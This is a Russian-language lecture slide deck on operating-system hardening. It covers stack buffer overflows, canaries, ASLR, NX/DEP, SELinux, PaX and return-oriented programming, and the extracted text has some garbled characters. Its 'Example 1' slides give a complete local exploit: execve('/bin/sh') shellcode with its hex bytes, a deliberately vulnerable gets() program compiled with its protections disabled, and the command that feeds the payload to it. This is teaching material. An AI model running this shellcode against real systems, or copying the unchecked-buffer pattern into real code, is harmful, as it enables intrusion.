Upload
vasily-sartakov
View
302
Download
0
Embed Size (px)
Citation preview
Opera&ng Systems Hardening
Sartakov A. Vasily ksys labs
Summer Systems School’13
Structure
• Intro • Атаки использующие переполнение буферов • Средства противодействия атакам основанным на переполнении буферов
• Противодействия противодействию: Return Oriented Programming
Intro
• Morris Worm (November 1988) – Первый известный эксплоит использовавший срыв стека – execve(“/bin/sh”, 0, 0)
• Thomas Lopa&c опубликовал эксплоит NCSA HTTPD (1995)
• “Smashing the Stack for Fun and Profit” Aleph One (August 1996)
• Unix
Structure
• Intro • Атаки использующие переполнение буферов • Средства противодействия атакам основанным на переполнении буферов
• Противодействия противодействию: Return Oriented Programming
Срыв стека
• Подготовка кода (payload) • Изменение последовательности выполнения программы
Подготовка кода • Передается в качестве аргументов, команд, обрабатываемых данных • Эти данные должны сохраняться в выделенные для них буфера • Принципиальной разницы нет – статический это буфер или динамический • Отсутствие проверки длины данных приводит к перезаписи данных за границей буфера.
Искажение адреса возврата
int namelen (void) { char name[21]; gets(name); return strlen(name);
} name[0]
name[1]
….
Адрес возврата
0xFFFF
0x0 массив Стек
Искажение указателя функции
void dummy(void) { prin�("Hello world! n");
} int main(int argc, char **argv) {
void (*dummyptr)(); char buffer[100]; dummyptr=dummy; strcpy(buffer, argv[1]); // Уязвимость (*dummyptr)();
}
buffer[0]
buffer[1]
….
dummyptr
Адрес возврата 0xFFFF
0x0 массив Стек
Искажение указателей данных
foo(char * arg) { char * p = arg; // уязвимый указатель char a[40]; // переполняемый буфер gets(a); // уязвимость gets(p); // искажение кода
} a[0]
a[1]
….
p
arg 0xFFFF
0x0 массив Стек
Адрес возврата
Example 1 cat > launch.c << "EOF" int main(int argc, char **argv) { asm("\ needle0: jmp there\n\ here: pop %rdi\n\ xor %rax, %rax\n\ movb $0x3b, %al\n\ xor %rsi, %rsi\n\ xor %rdx, %rdx\n\ syscall\n\ there: call here\n\ .string \"/bin/sh\"\n\ needle1: .octa 0xdeadbeef\n\ "); } EOF gcc -‐o launch launch.c
h�p://crypto.stanford.edu/~blynn/rop/
Shellcode addr=0x`objdump -‐d launch | grep needle0 | cut -‐d\ -‐f1` addr=$((addr-‐0x400000)) echo ...shellcode starts at offset $addr xxd -‐s$addr -‐l32 -‐p launch > shellcode
eb0e5f4831c0b03b4831f64831d20f05e8edffffff2f62696e2f736800ef
vic&m cat > vic&m.c << "EOF" #include <stdio.h> int main() { char name[64]; prin�("%p\n", name); // Print address of buffer. puts("What's your name?"); gets(name); prin�("Hello, %s!\n", name); return 0; } EOF
Compiling gcc -‐fno-‐stack-‐protector -‐o vic&m vic&m.c execstack -‐s vic&m // disabling executable space protec&on… addr=$(echo | setarch $(arch) -‐R ./vic&m | sed 1q) //finding buffer address… a=`prin� %016x $addr | tac -‐rs..` //exploi&ng vic&m...
A�ack ( ( cat shellcode ; prin� %080d 0 ; echo $a ) | xxd -‐r -‐p ; cat ) | setarch `arch` -‐R ./vic&m
Structure
• Intro • Атаки использующие переполнение буферов • Средства противодействия атакам основанным на переполнении буферов
• Противодействия противодействию: Return Oriented Programming
Средства противодействия атакам основанным на переполнении буферов
• Маркерные значения (Canaries) • Рандомизация адресного пространства (ASLR)
• NX бит • Подсистемы безопасности Linux
Маркерные значения
a[0]
a[1]
….
EBP
Canary 0xFFFF
0x0 массив Стек
Адрес возврата
Address Space Layout Randomiza&on
Name[0]
0x7f..ff Первый запуск
char name[64]; prin�("%p\n", name); puts("What's your name?"); gets(name); prin�("Hello, %s!\n", name);
7cb7ba740
Name[0]
Второй запуск
ef5415a90
Эмуляция NX bit
Код
Данные
Стек
Код
Испол
няем
ый
неиспо
лняемый
Лимит сегмента
NX/XD bit: Data Execu&on Preven&on(DEP)
• Physical Address Extension (PAE) • Может защищать не только весь процесс целиком, но и его отдельную часть.
Подсистемы безопасности Linux
• SELinux • PaX/GrSecurity
SELinux • Разрабатывался под контролем Na&onal Security Agency (NSA)
• Исходный код был опубликован в декабря 2000
• Мандатный контроль доступа на основе контроля меток безопасности объектов и субъектов ОС
• Принудительная типизация доступа (Type Enforcement)
Проект LOCK • LOCK (LOgical Coprocessing Kernel) • Secure Compu&ng Corpora&on (SCC) • «A1»,Trusted Compu&ng System Evalua&on Criteria
(“Orange Book”). • Принудительная типизация доступа • Наследие -‐ Sidewinder Internet Firewall и SELinux • Изначально было дополнением 2.2, 2.4 • «Благодаря» Торвальдсу добавлено в ядро в качестве
отдельного модуля. Так появился Linux Security Modules в ядре 2.6
Принудительная типизация доступа
• Type Enforcement • Технология разграничения доступа, при которой права на доступ субъекта к объекту даются в зависимости от текущего контекста безопасности.
• Контекст безопасности хранится в расширенных атрибутах файловой системы и управляется с помощью Linux security module (LSM)
• Принудительная типизация доступа необходима для реализации мандатного контроля доступа, дополняет ролевой контроль доступа (Role Based Access Control — RBAC).
SELinux
• Каждый объект или субъект в операционной системе, защищенной SELinux, должен иметь свою специальную метку, называемую контекстом безопасности.
• Ext2-‐>file-‐>ext3 • SELinux предоставляет пользователю или приложению только те права доступа, которые необходимы для осуществления запрошенных действий
SELinux
• Каждый процесс-‐субъект запускается в определенном контексте (домене) безопасности
• Всем ресурсам-‐объектам операционной системы ставится в соответствие определенный тип
• Высокая степень разграничения доступа к ресурсам • Составляет политику безопасности: Список правил, определяющих разрешения на доступ определенных доменов к определенным типам.
SELinux
PaX/GRSecurity
• Механизм обеспечения безопасного исполнения кода PaX • Механизм разграничения доступа на основе ролевой политики (RBAC) • Усиление базового механизма chroot • Дополнительные функции и механизмы безопасности
Structure
• Intro • Атаки использующие переполнение буферов • Средства противодействия атакам основанным на переполнении буферов
• Противодействия противодействию: Return Oriented Programming
Вопрос
Подвержена ли Гарвардская архитектура атакам основанным на срыве стека?
Ответ
Атаки построенные на срыве стека – нет, не подвержена. Но подвержена куда более серьезным атакам из того же семейства.
Return oriented programming
• Return-‐to-‐libc (ret2libc) – Позволяет атаковать неисполнимую память (DEP, W^X, etc)
– Вместо перезаписи адреса возврата, осуществляется выбор специально подобранных двоичных команд из библиотек в памяти, как вызовов функций.
– При этом данные в стеке используются как аргументы к этим функциям
– Что в конечном итоге позволяет сделать system(cmd)
Return oriented programming • Вместо возврата из функций с измененным
стеком происходит вызов последовательностей инструкций, которые заканчиваются инструкцией ret.
• Фактически можно обращаться к произвольному региону, прямо в середину инструкции, тем самым эмулируя другой тип инструкций.
• Фактически, все что нужно для взлома – найти необходимую последовательность инструкций в памяти
Return oriented programming
• Gadget – последовательность подходящих инструкций заканчивающаяся ret
• Гаджеты исполняют произвольный высокоуровневый функционал
– Записать данные в определенную ячейку памяти – add/sub/and/or/xor – Вызвать функцию из библиотеки
Return oriented programming
• Для построения RoP атаки необходимо просканировать исполнимые регионы библиотек для выявления подходящих инструкций
• Полнота по Тьюрингу при поиске гаджетов: Homescu, Andrei, et al. "Microgadgets: Size Does Ma�er in Turing-‐Complete Return-‐Oriented Programming." WOOT. 2012.
Example 2
Return-‐oriented programming on 64-‐bit Linux Ben Lynn h�p://crypto.stanford.edu/~blynn/rop/
Выводы:
1. Маркерные значения + рандомизация + NX бит не защищают на 100%, но сильно усложняют вторжение.
2. Превентивные средства защиты (PaX), задача которых противодействовать вторжению, вместе с AC (RBAC), так же уменьшают шансы вторжения и минимизируют последствия
3. Защита от внедрения вредоносного кода не достаточна для предотвращения исполнения вредоносного кода.
Reading • h�p://crypto.stanford.edu/~blynn/rop/ • Roemer, Ryan, et al. "Return-‐oriented programming:
Systems, languages, and applica&ons." ACM Transac&ons on Informa&on and System Security (TISSEC) 15.1 (2012): 2.
• Checkoway, Stephen, et al. "Can DREs provide long-‐las&ng security? The case of return-‐oriented programming and the AVC Advantage." Proceedings of EVT/WOTE 2009 (2009).
• Shacham, Hovav. "The geometry of innocent flesh on the bone: Return-‐into-‐libc without func&on calls (on the x86)." Proceedings of the 14th ACM conference on Computer and communicaCons security. ACM, 2007.